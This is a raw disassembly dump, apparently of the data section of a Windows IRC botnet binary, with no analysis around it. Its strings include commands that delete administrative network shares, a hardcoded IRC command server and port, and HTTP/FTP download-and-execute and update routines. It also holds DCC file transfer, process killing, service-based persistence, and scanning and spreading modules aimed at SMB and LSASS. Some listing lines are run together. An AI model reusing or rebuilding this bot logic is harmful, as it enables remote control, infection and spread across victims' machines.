		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A8o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP4',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAyssafsdsfsddk	db 'ayssafsdsfsddklfsdf',0 ; DATA XREF: sub_4077E0+337o
		align 10h
aIgfsfdsda32_ex	db 'igfsfdsda32.exe',0  ; DATA XREF: sub_4077E0+326o
		dd 0
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
off_44486C	dd offset byte_582323	; DATA XREF: sub_4077E0+307o
dword_444870	dd 23582323h, 23ha6677		db '6677',0             ; DATA XREF: sub_4077E0+29Bo
		align 10h
aIrcx_unicat_or	db 'ircX.unicat.org',0  ; DATA XREF: sub_4077E0+283o
		dd 2 dup(0)
off_444898	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
		dd 2 dup(0)
off_4448B8	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4448E0	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(0)
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 10h
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 4
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 4
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 10h
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
		dd 2 dup(0)
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 8
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 4
dword_444A08	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 10h
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 10h
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 10h
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 10h
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		dd 2 dup(0)
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444ADC:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 10h
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 4
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 4
aBai_0		db ' -bai ',0
		align 10h
aSCS		db '%s%c%s',0
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 8
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 4
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 10h
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 10h
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 10h
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 8
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 4
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 10h
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 4
		dd 0
asc_444C5C	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 10h
asc_444C60:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C6C:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 10h
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 10h
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 10h
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 8
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 10h
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 10h
asc_444D10:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D14:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D18	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D1C	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 10h
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 10h
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 10h
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D5C	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D60	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D6C	dd 652Dh	dword_444D70	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 4
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DAC	db 1			; DATA XREF: sub_41A390r
		align 10h
dword_444DB0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DFC:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E10	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E24	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E5C	dd 63257325h, 0						; sub_41F960+E5o
dword_444E64	dd 72h		dword_444E68	dd 30h							; sub_424920+327o
dword_444E6C	dd 3039h	dword_444E70	dd 383631h	dword_444E74	dd 323931h	dword_444E78	dd 3631h	dword_444E7C	dd 323731h	dword_444E80	dd 3031h	off_444E84	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E88	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E8C	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E90	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E94	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 10h
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 10h
asc_444ED0	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 10h
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 8
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 8
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FD4	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FE4	dd 6469706Bh, 7325203Ah, 0dword_444FF0	dd 203A736Bh, 7325hdword_444FF8	dd 202E6425h, 7325202Fh, 0dword_445004	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 8
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 10h
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 4
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 10h
asc_445080:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 8
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 10h
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 8
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 10h
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 8
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 10h
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 10h
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 10h
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 10h
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 10h
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 10h
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 10h
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_4452FC	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_445314	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 4
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 8
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 10h
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 10h
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 10h
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 4
asc_4453E8:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 4
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445420	dd 1BDh							; sub_422B40+310o ...
off_445424	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445428	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 4
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 10h
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 10h
		dd 0
off_4455E4	dd offset dword_622D20	; DATA XREF: sub_422B40+747o
off_4455E8	dd offset locret_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455EC	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 8
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 8
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
